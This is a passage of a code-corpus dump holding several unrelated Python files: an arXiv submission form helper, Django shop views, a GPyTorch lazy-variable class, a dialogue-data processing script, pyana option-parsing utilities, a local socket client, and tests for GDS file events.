SubmissionMixin\n >>> import arxiv.submission as events\n >>>\n >>> class FooForm(Form, SubmissionMixin):\n ... title = TextField('Title')\n ...\n ... def validate_title(self, field):\n ... if self.submission.metadata.title == field.data:\n ... return\n ... self._validate_event(SetTitle, title=field.data)\n ...\n >>> form = FooForm(data)\n >>> form.submission = submission\n >>> form.creator = submitter\n >>> form.validate()\n\n \"\"\"\n\n def _set_submission(self, submission: events.Submission) -> None:\n self._submission = submission\n\n def _get_submission(self) -> events.Submission:\n return self._submission\n\n def _set_creator(self, creator: events.User) -> None:\n self._creator = creator\n\n def _get_creator(self) -> events.User:\n return self._creator\n\n submission = property(_get_submission, _set_submission)\n creator = property(_get_creator, _set_creator)\n\n def _add_event(self, event: events.Event) -> None:\n if not hasattr(self, '_events'):\n self._events = []\n self._events.append(event)\n\n def _validate_event(self, event_type: type, **data: Any) -> None:\n event = event_type(creator=self.creator, **data)\n self._add_event(event)\n try:\n event.validate(self.submission)\n except events.InvalidEvent as e:\n raise validators.ValidationError(e.message)\n\n @property\n def events(self) -> List[events.Event]:\n \"\"\"Command event instances created during form validation.\"\"\"\n if not hasattr(self, '_events'):\n self._events = []\n return self._events\n\n\nclass FieldMixin:\n \"\"\"Provide a convenience classmethod for field names.\"\"\"\n\n @classmethod\n def fields(cls):\n \"\"\"Convenience accessor for form field names.\"\"\"\n return [key for key in dir(cls)\n if isinstance(getattr(cls, key), UnboundField)]\n\n\n# TODO: currently this does nothing with the client. We will need to add that\n# bit once we have a plan for handling client information in this interface.\ndef user_and_client_from_session(session: Session) \\\n -> Tuple[events.User, Optional[events.Client]]:\n \"\"\"\n Get submission user/client representations from a :class:`.Session`.\n\n When we're building submission-related events, we frequently need a\n submission-friendly representation of the user or client responsible for\n those events. This function generates those event-domain representations\n from a :class:`arxiv.users.domain.Submission` object.\n \"\"\"\n user = events.domain.User(\n session.user.user_id,\n email=session.user.email,\n forename=getattr(session.user.name, 'forename', None),\n surname=getattr(session.user.name, 'surname', None),\n suffix=getattr(session.user.name, 'suffix', None),\n endorsements=[c.compound for c in session.authorizations.endorsements]\n )\n return user, None\n","sub_path":"submit/controllers/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":6582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"204451542","text":"from django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.views.generic import ListView\nfrom django.contrib.auth import authenticate, login, get_user_model\nfrom .forms import ContactForm\n\nfrom products.models import Beat\nfrom carts.models import Cart\n\nfrom transactional.utils import SendInBlue\n\nfrom django.core.mail import send_mail\nfrom django.template.loader import get_template\n\n\ndef home_page(request):\n context = {\n \"title\":\"Split Cloud Productions\",\n \"content\":\"Homepage\",\n }\n if request.user.is_authenticated:\n context['premium_content'] = 'squuuirrrrrt'\n return render(request, \"home-page.html\", context)\n\n\ndef about_page(request):\n context = {\n \"title\":\"Split Cloud Productions\",\n \"content\":\"About\",\n }\n return render(request, \"about-page.html\", context)\n\n\ndef services_page(request):\n context = {\n \"title\":\"Split Cloud Productions\",\n \"content\":\"Services\",\n }\n return render(request, \"services-page.html\", context)\n\n\ndef contact_page(request):\n contact_form = ContactForm(request.POST or None)\n context = {\n \"title\":\"Contact\",\n \"content\":\"Welcome to the contact page.\",\n \"form\": contact_form,\n }\n if contact_form.is_valid():\n print(contact_form.cleaned_data)\n subject = contact_form.cleaned_data.get('subject', '')\n sender_name = contact_form.cleaned_data.get('name')\n sender_email = contact_form.cleaned_data.get('email')\n message = contact_form.cleaned_data.get('content', '')\n send_context = {'message': message}\n\n txt_ = get_template(\"contact/emails/contact_message.txt\").render(send_context)\n html_ = get_template(\"contact/emails/contact_message.html\").render(send_context)\n # from_email = settings.DEFAULT_FROM_EMAIL\n sendinblue = SendInBlue()\n sent_email = sendinblue.send_contact_email(sender_name, sender_email, html_, txt_, subject)\n # sent_mail = send_mail(\n # subject,\n # txt_,\n # from_email,\n # recipient_list,\n # html_message=html_,\n # fail_silently=False,\n # )\n # if sent_mail:\n # print('email sent beeeeetch')\n print(sent_email.content)\n if request.is_ajax():\n return JsonResponse({\"message\": \"thank you\"})\n\n if contact_form.errors:\n print(contact_form.errors)\n errors = contact_form.errors.as_json()\n if request.is_ajax():\n return HttpResponse(errors, status=400, content_type='application/json')\n # if request.method == \"POST\":\n # print(request.POST)\n # print(request.POST.get('fullname'))\n return render(request, \"contact-page.html\", context)\n\n\n\n # context = {\n # \"title\":\"Split Cloud Productions\",\n # \"content\":\"Contact\",\n # }\n # return render(request, \"contact-page.html\", context)\n\n\ndef new_home(request):\n context = {\n \"title\":\"Split Cloud Productions\",\n \"content\":\"Hiii\",\n }\n # if request.user.is_authenticated:\n # context['premium_content'] = 'squuuirrrrrt'\n return render(request, \"new_home.html\", context)\n\n\nclass BeatStoreView(ListView):\n queryset = Beat.objects.all()\n template_name = \"new_home.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super(BeatStoreView, self).get_context_data(*args, **kwargs)\n cart_obj, new_obj = Cart.objects.new_or_get(self.request)\n context['cart'] = cart_obj\n print(context)\n return context\n","sub_path":"splitcloud/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"328297203","text":"import torch\nfrom torch.autograd import Variable\nfrom .interpolated_lazy_variable import InterpolatedLazyVariable\n\n\nclass SumInterpolatedLazyVariable(InterpolatedLazyVariable):\n def __init__(self, base_lazy_variable, left_interp_indices, left_interp_values,\n right_interp_indices, right_interp_values):\n if not left_interp_indices.ndimension() == 3 or not right_interp_indices.ndimension() == 3:\n raise RuntimeError\n\n if not left_interp_indices.size() == left_interp_values.size() or not \\\n left_interp_indices.size() == left_interp_values.size():\n raise RuntimeError\n\n if not left_interp_indices.size(0) == right_interp_indices.size(0):\n raise RuntimeError\n\n if base_lazy_variable.ndimension() == 2:\n base_lazy_variable = base_lazy_variable.repeat(left_interp_indices.size(0), 1, 1)\n elif base_lazy_variable.ndimension() != 3:\n raise RuntimeError\n\n super(SumInterpolatedLazyVariable, self).__init__(base_lazy_variable, left_interp_indices, left_interp_values,\n right_interp_indices, right_interp_values)\n self.base_lazy_variable = base_lazy_variable\n self.left_interp_indices = left_interp_indices\n self.left_interp_values = left_interp_values\n self.right_interp_indices = right_interp_indices\n self.right_interp_values = right_interp_values\n self.tensor_cls = type(self.base_lazy_variable.representation()[0].data)\n\n def _matmul_closure_factory(self, *args):\n super_closure = super(SumInterpolatedLazyVariable, self)._matmul_closure_factory(*args)\n batch_size = self.left_interp_indices.size(0)\n\n def closure(tensor):\n isvector = tensor.ndimension() == 1\n if isvector:\n tensor = tensor.unsqueeze(1)\n\n tensor = tensor.unsqueeze(0)\n tensor_size = list(tensor.size())\n tensor_size[0] = batch_size\n tensor = tensor.expand(*tensor_size)\n\n res = super_closure(tensor).sum(0)\n if isvector:\n res = res.squeeze(-1)\n return res\n\n return closure\n\n def _derivative_quadratic_form_factory(self, *args):\n super_closure = super(SumInterpolatedLazyVariable, self)._derivative_quadratic_form_factory(*args)\n batch_size = self.left_interp_indices.size(0)\n\n def closure(left_factor, right_factor):\n left_factor = left_factor.unsqueeze(0)\n left_factor_size = list(left_factor.size())\n left_factor_size[0] = batch_size\n left_factor = left_factor.expand(*left_factor_size)\n\n right_factor = right_factor.unsqueeze(0)\n right_factor_size = list(right_factor.size())\n right_factor_size[0] = batch_size\n right_factor = right_factor.expand(*right_factor_size)\n\n res = super_closure(left_factor, right_factor)\n return res\n\n return closure\n\n def diag(self):\n batch_size, n_data, n_interp = self.left_interp_indices.size()\n\n # Batch compute the non-zero values of the outer products w_left^k w_right^k^T\n left_interp_values = self.left_interp_values.unsqueeze(3)\n right_interp_values = self.right_interp_values.unsqueeze(2)\n interp_values = torch.matmul(left_interp_values, right_interp_values)\n\n # Batch compute Toeplitz values that will be non-zero for row k\n left_interp_indices = self.left_interp_indices.unsqueeze(3).expand(batch_size, n_data, n_interp, n_interp)\n left_interp_indices = left_interp_indices.contiguous()\n right_interp_indices = self.right_interp_indices.unsqueeze(2).expand(batch_size, n_data, n_interp, n_interp)\n right_interp_indices = right_interp_indices.contiguous()\n batch_interp_indices = Variable(left_interp_indices.data.new(batch_size))\n torch.arange(0, batch_size, out=batch_interp_indices.data)\n batch_interp_indices = batch_interp_indices.view(batch_size, 1, 1, 1)\n batch_interp_indices = batch_interp_indices.expand(batch_size, n_data, n_interp, n_interp).contiguous()\n base_var_vals = self.base_lazy_variable._batch_get_indices(batch_interp_indices.view(-1),\n left_interp_indices.view(-1),\n right_interp_indices.view(-1))\n base_var_vals = base_var_vals.view(left_interp_indices.size())\n\n diag = (interp_values * base_var_vals).sum(3).sum(2).sum(0)\n return diag\n\n def size(self):\n return torch.Size((self.left_interp_indices.size(1), self.right_interp_indices.size(1)))\n","sub_path":"gpytorch/lazy/sum_interpolated_lazy_variable.py","file_name":"sum_interpolated_lazy_variable.py","file_ext":"py","file_size_in_byte":4778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"562120174","text":"# -*- coding:utf-8 -*-\n\"\"\"处理 Frames 数据\"\"\"\nfrom __future__ import print_function\nimport os\nfrom utils.process_frames import frames_reader\nfrom utils.process_frames import frames_preprocess\nfrom utils.process_frames import parse_frames_data\nfrom utils.process_frames import write_turns_results\n\nhtml_format = \"\"\"\n\n\n\n \n \n\n\n

\n {body}\n

\n\n\n\"\"\"\n\n\ndef main():\n data_root = \"../data/\"\n frames_fn = data_root + \"rawdata/Frames/frames.json\"\n frames_fn_lines = data_root + \"rawdata/Frames/frames_lines.json\"\n result_dir = data_root + \"rawdata/Frames/results/\"\n\n if os.path.exists(result_dir):\n os.system(\"rm -rf %s*\" % result_dir)\n os.mkdir(os.path.join(result_dir, \"dialog_act\"))\n os.mkdir(os.path.join(result_dir, \"dialog_act_zh\"))\n os.mkdir(os.path.join(result_dir, \"dialog_act_html\"))\n os.mkdir(os.path.join(result_dir, \"intent\"))\n\n # frames_preprocess(fn=frames_fn, tar_fn=frames_fn_lines)\n body_str_dict = dict()\n for data_json in frames_reader(fn=frames_fn_lines):\n turn_res = parse_frames_data(data_json)\n write_turns_results(fn_dir=result_dir, turn_res=turn_res, body_str_dict=body_str_dict)\n\n # HTML 为了使用 google 的页面翻译,写文件部分\n for act, body_str in body_str_dict.items():\n fn = os.path.join(result_dir, \"dialog_act_html\", act + \".html\")\n with open(fn, 'w') as fp:\n fp.write(html_format.format(body=body_str))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/run_frames.py","file_name":"run_frames.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"465783836","text":"from __future__ import print_function\nfrom __future__ import division\n#-----------------------------------------\n# PyanaOptions\n#-----------------------------------------\n\ndef ncol_nrow_from_nplots(nplots):\n if nplots < 4:\n # just a horizontal line of plots\n ncol = nplots\n nrow = 1\n elif nplots == 4:\n # 2+2 plots looks better than 3+1\n ncol = 2\n nrow = 2\n else:\n # limit the number of columns to 3\n ncol = min(3, nplots)\n # number of rows if all rows are filled\n nrow = nplots // ncol\n if (nplots % ncol) > 0:\n # if rows are not all filled, add one for the unfilled row.\n nrow += 1\n # --- sanity check ---\n max = ncol * nrow\n if nplots > max :\n print(\"utitilities.py: Something wrong with ncol_nrow_from_nplots() computation\")\n print(\" Not enough space for %d plots in %d x %d\" % (nplots, ncol, nrow))\n sys.exit(1)\n return (ncol, nrow)\n\nclass PyanaOptions( object ):\n \"\"\"Class PyanaOptions\n\n Collection of functions to convert the string options of pyana\n into values, or lists of values, of the expected type\n \"\"\"\n def __init__( self ):\n pass\n\n def getOptString(self, options_string) :\n \"\"\"Return the string, strip of any whitespaces\n \"\"\"\n if options_string is None:\n return None\n\n # make sure there are no newline characters here\n options_string = options_string.strip()\n\n if ( options_string == \"\" or\n options_string == \"None\" or\n options_string == \"No\" ) :\n return None\n\n # all other cases:\n return options_string\n\n\n def getOptStrings(self, options_string) :\n \"\"\"Return a list of strings \n \"\"\"\n if options_string is None:\n return None\n\n # strip off any leading or trailing whitespaces\n options_string = options_string.strip()\n\n # make sure there are no newline characters here\n options_string = options_string.split(\"\\n\")\n options_string = \" \".join(options_string)\n\n # make a list (split by whitespace)\n options = options_string.split()\n\n if len(options)==0 :\n return []\n\n elif len(options)==1 :\n if ( options_string == \"\" or\n options_string == \"None\" or\n options_string == \"No\" ) :\n return []\n\n # all other cases:\n return options\n\n def getOptStringsDict(self, options_string) :\n \"\"\"Return a dictionary of strings\n \"\"\"\n if options_string is None:\n return {}\n \n mylist = self.getOptStrings(options_string)\n mydict = {}\n for entry in mylist:\n items = entry.split(\":\")\n if len(items) > 1 :\n mydict[items[0]] = items[1].strip('([])').split(',')\n else:\n mydict[items[0]] = None\n \n return mydict\n\n def getOptStringsList(self, options_string) :\n \"\"\"Return a list of strings (label) and VALUES\n Alternative to Dictionary, but it's sorted in whichever order was requested.\n \"\"\"\n if options_string is None:\n return []\n \n mylist = self.getOptStrings(options_string)\n for entry in mylist:\n # location of this entry in list\n loc = mylist.index(entry)\n\n # split \n items = entry.split(\":\")\n\n label = items[0]\n options = None\n\n if len(items) > 1 :\n options = items[1].strip('([])').split(',')\n\n # replace entry with tuple of (label, options)\n mylist[loc] = (label,options)\n \n return mylist\n\n \n def getOptIntegers(self, options_string):\n \"\"\"Return a list of integers\n \"\"\"\n if options_string is None: return None\n\n opt_strings = self.getOptStrings(options_string)\n return [int(item) for item in opt_strings ]\n \n\n def getOptInteger(self, options_string):\n \"\"\"Return a single integer\n \"\"\"\n if options_string is None: return None\n if options_string == \"\": return None\n if options_string == \"None\": return None\n return int(options_string)\n\n\n def getOptBoolean(self, options_string):\n \"\"\"Return a boolean\n \"\"\"\n if options_string is None: return None\n\n opt = options_string\n if opt == \"False\" or opt == \"0\" or opt == \"No\" or opt == \"\" : return False\n elif opt == \"True\" or opt == \"1\" or opt == \"Yes\" : return True\n else :\n print(\"utilities.getOptBoolean: cannot parse option \", opt)\n return None\n\n def getOptBooleans(self, options_string):\n \"\"\"Return a list of booleans\n \"\"\"\n if options_string is None: return None\n\n opt_list = self.getOptStrings(options_string)\n N = len(opt_list)\n if N == 0 : return None\n \n opts = []\n for opt in optlist :\n opts.append( self.getOptBoolean(opt) )\n\n return opts\n\n\n def getOptFloats(self, options_string):\n \"\"\"Return a list of integers\n \"\"\"\n if options_string is None: return None\n\n opt = self.getOptStrings(options_string)\n N = len(opt)\n if N == 1:\n return float(opt)\n if N > 1 :\n items = []\n for item in opt :\n items.append( float(item) )\n return items\n \n\n def getOptFloat(self, options_string):\n \"\"\"Return a single integer\n \"\"\"\n if options_string is None: return None\n if options_string == \"\" : return None\n if options_string == \"None\" : return None\n\n return float(options_string)\n\n\n\n#-----------------------------------------\n# Data Storage Classes\n#-----------------------------------------\nimport numpy as np\n\nclass BaseData( object ):\n \"\"\"Base class for container objects storing event data\n in memory (as numpy arrays mainly). Useful for passing\n the data to e.g. ipython for further investigation\n \"\"\"\n\n def __init__(self, name,type=\"BaseData\"):\n self.name = name\n self.type = type\n \n def show( self ):\n itsme = \"\\n%s \\n\\t name = %s\" % (self.type, self.name)\n for item in dir(self):\n if item.find('__')>=0 : continue\n attr = getattr(self,item)\n if attr is not None:\n if type(attr)==str:\n print(item, \"(str) = \", attr)\n elif type(attr)==np.ndarray:\n print(item, \": ndarray of dimension(s) \", attr.shape)\n else:\n print(item, \" = \", type(attr))\n \n def show2( self ):\n itsme = \"\\n%s from %s :\" % (self.type, self.name)\n myplottables = self.get_plottables()\n for key, array in myplottables.items():\n itsme += \"\\n\\t %s: \\t %s \" % (key, array.shape)\n print(itsme)\n return\n \n def get_plottables_base(self):\n plottables = {}\n for item in dir(self):\n if item.find('__')>=0 : continue\n attr = getattr(self,item)\n if attr is not None:\n if type(attr)==np.ndarray:\n plottables[item] = attr\n return plottables\n \n def get_plottables(self):\n return self.get_plottables_base()\n \n \n \nclass BldData( BaseData ):\n \"\"\"Beam-Line Data \n \"\"\"\n def __init__(self, name, type=\"BldData\"):\n BaseData.__init__(self,name,type)\n self.time = None\n self.damage = None\n self.shots = None\n self.energy = None\n self.position = None\n self.angle = None\n self.charge = None\n self.fex_sum = None\n self.fex_channels = None\n self.raw_channels = None\n self.raw_channels_volt = None\n self.fex_position = None\n\n\nclass IpimbData( BaseData ):\n \"\"\"Ipimb Data (from Intensity and Position monitoring boards)\n \"\"\"\n def __init__( self, name, type=\"IpimbData\" ):\n BaseData.__init__(self,name,type)\n self.gain_settings = None\n self.fex_sum = None\n self.fex_channels = None\n self.fex_position = None\n self.raw_channels = None\n self.raw_voltages = None\n\n\n\nclass EncoderData( BaseData ):\n \"\"\"Encoder data\n \"\"\"\n def __init__( self, name, type=\"EncoderData\" ):\n BaseData.__init__(self,name,type)\n self.values = None\n\n\n\nclass WaveformData( BaseData ):\n \"\"\"Waveform data from Acqiris digitizers\n \"\"\"\n def __init__( self, name, type=\"WaveformData\" ):\n BaseData.__init__(self,name,type)\n self.wf = None\n self.average = None\n self.ts = None\n self.counter = None\n self.channels = None\n self.stack = None\n\n def get_plottables(self):\n plottables = self.get_plottables_base()\n for ch in self.channels: \n plottables[\"volt_vs_time_ch%d\"%ch] = (self.ts[ch],self.wf[ch])\n return plottables\n\nclass EpicsData( BaseData ):\n \"\"\"Control and Monitoring PVs from EPICS\n \"\"\"\n def __init__( self, name, type=\"EpicsData\" ):\n BaseData.__init__(self,name,type)\n self.values = None\n self.shotnr = None\n self.status = None\n self.severity = None\n\n\n\nclass ScanData( BaseData ) :\n \"\"\"Scan data\n \"\"\"\n def __init__(self, name, type=\"ScanData\"):\n BaseData.__init__(self,name,type)\n\n self.scanvec = None\n self.arheader = None\n self.scandata = None\n\n\n\nclass ImageData( BaseData ):\n \"\"\"Image data\n \"\"\"\n def __init__(self, name, type=\"ImageData\"):\n BaseData.__init__(self,name,type)\n self.image = None # the image\n self.average = None # the average collected so far\n self.maximum = None # the max projection of images collected so far\n self.vrange = None # value range of image (tuple of (min,max))\n self.counter = 0 # nEvents in average\n self.dark = None # the dark that was subtracted\n self.avgdark = None # the average of accumulated darks\n self.ndark = 0 # counter for accumulated darks\n self.roi = None # list of coordinates defining ROI\n \n # The following are 1D array if unbinned, 2D if binned (bin array being the first dim)\n self.spectrum = None # Array of image intensities (1D, or 2D if binned)\n #self.projX = None # Average image intensity projected onto horizontal axis\n #self.projY = None # Average image intensity projected onto vertical axis\n self.showProj = False\n \n # The following are always 2D arrays, binned. bins vs. values\n self.projR = None # Average image intensity projected onto radial axis (2D)\n self.projTheta = None # Average image intensity projected onto polar angle axis (2D_\n \n def get_plottables(self):\n plottables = self.get_plottables_base()\n if self.roi is not None:\n try:\n c = self.roi\n print(\"image? \", self.image)\n print(\"roi? \", self.image[c[0]:c[1],c[2]:c[3]])\n plottables[\"roi\"] = self.image[c[0]:c[1],c[2]:c[3]]\n except:\n print(\"setting ROI failed, did you define the image? \")\n return plottables\n \n\n\n#-------------------------------------------------------\n# Threshold \n#-------------------------------------------------------\nclass Threshold( object ) :\n \"\"\"Class Threshold\n\n To keep track of threshold settings (value and area of interest)\n \"\"\"\n def __init__( self, description = None ):\n \"\"\"constructor\n @param description \n \"\"\"\n self.lower = None\n self.upper = None\n self.mask = None\n self.type = None\n self.region = None\n self.is_empty = False\n\n if description is None or description == \"\":\n self.is_empty = True\n return None\n \n print(\"setting up Threshold object based on description:\", description)\n \n words = description.split(' ')\n threshold = {}\n for w in words:\n n,d = w.split('=')\n threshold[n] = d\n\n print(\"Threshold:\", end=' ')\n if 'lower' in threshold:\n self.lower = float(threshold['lower'])\n print(\" lower = %.2f\"% self.lower, end=' ')\n if 'upper' in threshold:\n self.upper = float(threshold['upper']) \n print(\" upper = %.2f\"% self.upper, end=' ')\n if 'mask' in threshold:\n self.mask = float(threshold['mask']) \n print(\" mask = %.2f\"% self.mask, end=' ')\n if 'type' in threshold:\n self.type = threshold['type']\n print(\" type = %s\"% self.type, end=' ')\n if 'roi' in threshold:\n roi = [range.split(':') for range in threshold['roi'].strip('()').split(',')]\n self.region = [ int(roi[0][0]), int(roi[0][1]), int(roi[1][0]), int(roi[1][1]) ]\n print(\" region = %s\"% self.region, end=' ')\n print()\n","sub_path":"src/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":13378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"173001326","text":"# encoding: utf-8\n# date: 2018/8/15 16:32\nimport socket\nimport sys\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nhost = socket.gethostname()\nport=9999\n#连接服务\ns.connect((host,port))\n#接受少于1024kb的数据\nwhile True:\n accept_data=s.recv(1024)\n msg=str(accept_data.decode(\"utf-8\"))\n print(\"服务端:\"+msg)\n if(msg==\"111\"):\n break\ns.close()\n","sub_path":"my_1/socket_t/recive_t.py","file_name":"recive_t.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"459560113","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom libumccr import libjson\n\nfrom data_portal.models.gdsfile import GDSFile\nfrom data_portal.tests.factories import GDSFileFactory\nfrom data_processors.gds.lambdas import gds_event\nfrom data_processors.gds.tests.case import logger, GDSEventUnitTestCase\n\n\ndef _make_mock_sqs_message():\n gds_file: GDSFile = GDSFileFactory()\n gds_file.path = \"/analysis_data/SBJ00001/dragen_tso_ctdna/2021-08-26__05-39-57/Results/PRJ000001_L0000001/PRJ000001_L0000001.AlignCollapseFusionCaller_metrics.json.gz\"\n\n gds_file_message = {\n \"id\": gds_file.file_id,\n \"name\": gds_file.name,\n \"volumeId\": gds_file.volume_id,\n \"volumeName\": gds_file.volume_name,\n \"tenantId\": gds_file.tenant_id,\n \"subTenantId\": gds_file.sub_tenant_id,\n \"path\": gds_file.path,\n \"timeCreated\": gds_file.time_created,\n \"createdBy\": gds_file.created_by,\n \"timeModified\": gds_file.time_modified,\n \"modifiedBy\": gds_file.modified_by,\n \"inheritedAcl\": gds_file.inherited_acl,\n \"urn\": gds_file.urn,\n \"sizeInBytes\": gds_file.size_in_bytes,\n \"isUploaded\": gds_file.is_uploaded,\n \"archiveStatus\": gds_file.archive_status,\n \"storageTier\": gds_file.storage_tier\n }\n\n ens_sqs_message_attributes = {\n \"actiondate\": {\n \"stringValue\": \"2020-04-08T02:00:59.9745859Z\",\n },\n \"action\": {\n \"stringValue\": \"uploaded\",\n },\n \"type\": {\n \"stringValue\": \"gds.files\",\n },\n }\n\n sqs_event_message = {\n \"Records\": [\n {\n \"eventSource\": \"aws:sqs\",\n \"body\": libjson.dumps(gds_file_message),\n \"messageAttributes\": ens_sqs_message_attributes\n }\n ]\n }\n\n return sqs_event_message\n\n\nclass GDSEventUnitTests(GDSEventUnitTestCase):\n\n def test_uploaded_gds_file_event(self):\n \"\"\"\n python manage.py test data_processors.gds.tests.test_gds_event.GDSEventUnitTests.test_uploaded_gds_file_event\n \"\"\"\n\n gds_file_message = {\n \"id\": \"fil.8036f70c160549m1107500d7cf72d73p\",\n \"name\": \"IntegrationTest.txt\",\n \"volumeId\": \"vol.912zb524d44b434395b308d77g441333\",\n \"volumeName\": \"umccr-compliance-volume-name-prod\",\n \"tenantId\": \"AAdzLXVzLBBsXXXmb3JtOjEwWDGwNTM3OjBiYTU5YWUxLWZkYWUtNDNiYS1hM2I1LTRkMzY3TTQzOOJkBB\",\n \"subTenantId\": \"wid:f687447b-d13e-4464-a6b8-7167fc75742d\",\n \"path\": \"/Runs/200401_A00130_0134_BHT5N3DMXX/IntegrationTest.txt\",\n \"timeCreated\": \"2020-04-08T02:00:58.026467\",\n \"createdBy\": \"14c99f4f-8934-4af2-9df2-729e1b840f42\",\n \"timeModified\": \"2020-04-01T20:55:35.025Z\",\n \"modifiedBy\": \"14c99f4f-8934-4af2-9df2-729e1b840f42\",\n \"inheritedAcl\": [\n \"tid:ookohRahWee0ko1epoon3ej5tezeecu2thaec3AhsaSh3uqueeThasu0guTheeyeecheemoh9tu3neiGh0\",\n \"wid:cf5c71a5-85c9-4c60-971a-cd1426dbbd5e\",\n \"wid:58e3d90f-2570-4aeb-a606-bbde78eae677\",\n \"wid:f687447b-d13e-4464-a6b8-7167fc75742d\"\n ],\n \"urn\": \"urn:ilmn:iap:aps2\"\n \":AAdzLXVzLBBsXXXmb3JtOjEwWDGwNTM3OjBiYTU5YWUxLWZkYWUtNDNiYS1hM2I1LTRkMzY3TTQzOOJkBB:file:fil\"\n \".8036f70c160549m1107500d7cf72d73p#/Runs/200401_A00130_0134_BHT5N3DMXX/IntegrationTest.txt\",\n \"sizeInBytes\": 1000000000000000,\n \"isUploaded\": True,\n \"archiveStatus\": \"None\",\n \"storageTier\": \"Standard\"\n }\n\n ens_sqs_message_attributes = {\n \"sub-tenant-id\": {\n \"stringValue\": \"uid:does-not-matter\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n \"subscription-urn\": {\n \"stringValue\": \"urn:does-not-matter\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n \"contentversion\": {\n \"stringValue\": \"V1\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n \"action\": {\n \"stringValue\": \"uploaded\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n \"actiondate\": {\n \"stringValue\": \"2020-04-08T02:00:59.9745859Z\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n \"type\": {\n \"stringValue\": \"gds.files\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n \"producedby\": {\n \"stringValue\": \"GenomicDataStoreService\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n \"contenttype\": {\n \"stringValue\": \"application/json\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n }\n }\n\n sqs_event_message = {\n \"Records\": [\n {\n \"eventSource\": \"aws:sqs\",\n \"body\": libjson.dumps(gds_file_message),\n \"messageAttributes\": ens_sqs_message_attributes\n }\n ]\n }\n\n gds_event.handler(sqs_event_message, None)\n\n volume = \"umccr-compliance-volume-name-prod\"\n path = \"/Runs/200401_A00130_0134_BHT5N3DMXX/IntegrationTest.txt\"\n qs = GDSFile.objects.filter(volume_name=volume, path=path)\n gds_file = qs.get()\n self.assertEqual(1, qs.count())\n logger.info(f\"Asserted found GDSFile record from db: gds://{gds_file.volume_name}{gds_file.path}\")\n\n def test_deleted_gds_file_event(self):\n \"\"\"\n python manage.py test data_processors.gds.tests.test_gds_event.GDSEventUnitTests.test_deleted_gds_file_event\n \"\"\"\n\n gds_file: GDSFile = GDSFileFactory()\n\n gds_file_message = {\n \"id\": gds_file.file_id,\n \"name\": gds_file.name,\n \"volumeId\": gds_file.volume_id,\n \"volumeName\": gds_file.volume_name,\n \"tenantId\": gds_file.tenant_id,\n \"subTenantId\": gds_file.sub_tenant_id,\n \"path\": gds_file.path,\n \"timeCreated\": gds_file.time_created,\n \"createdBy\": gds_file.created_by,\n \"timeModified\": gds_file.time_modified,\n \"modifiedBy\": gds_file.modified_by,\n \"inheritedAcl\": gds_file.inherited_acl,\n \"urn\": gds_file.urn,\n \"sizeInBytes\": gds_file.size_in_bytes,\n \"isUploaded\": gds_file.is_uploaded,\n \"archiveStatus\": gds_file.archive_status,\n \"storageTier\": gds_file.storage_tier\n }\n\n ens_sqs_message_attributes = {\n \"actiondate\": {\n \"stringValue\": \"2020-04-08T02:00:59.9745859Z\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n \"action\": {\n \"stringValue\": \"deleted\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n \"type\": {\n \"stringValue\": \"gds.files\",\n \"stringListValues\": [],\n \"binaryListValues\": [],\n \"dataType\": \"String\"\n },\n }\n\n sqs_event_message = {\n \"Records\": [\n {\n \"eventSource\": \"aws:sqs\",\n \"body\": libjson.dumps(gds_file_message),\n \"messageAttributes\": ens_sqs_message_attributes\n }\n ]\n }\n\n gds_event.handler(sqs_event_message, None)\n self.assertEqual(0, GDSFile.objects.count())\n\n def test_delete_non_existent_gds_file(self):\n \"\"\"\n python manage.py test data_processors.gds.tests.test_gds_event.GDSEventUnitTests.test_delete_non_existent_gds_file\n \"\"\"\n\n gds_file_message = {\n \"volumeName\": \"test\",\n \"path\": \"/this/does/not/exist/in/db/gds_file.path\",\n }\n\n ens_sqs_message_attributes = {\n \"actiondate\": {\n \"stringValue\": \"2020-04-08T02:00:59.9745859Z\",\n },\n \"action\": {\n \"stringValue\": \"deleted\",\n },\n \"type\": {\n \"stringValue\": \"gds.files\",\n },\n }\n\n sqs_event_message = {\n \"Records\": [\n {\n \"eventSource\": \"aws:sqs\",\n \"body\": libjson.dumps(gds_file_message),\n \"messageAttributes\": ens_sqs_message_attributes\n }\n ]\n }\n\n gds_event.handler(sqs_event_message, None)\n self.assertRaises(ObjectDoesNotExist)\n\n def test_handler_report_queue(self):\n \"\"\"\n python manage.py test data_processors.gds.tests.test_gds_event.GDSEventUnitTests.test_handler_report_queue\n \"\"\"\n self.verify_local()\n results = gds_event.handler(_make_mock_sqs_message(), None)\n logger.info(libjson.dumps(results))\n self.assertEqual(results['created_or_updated_count'], 1)\n\n 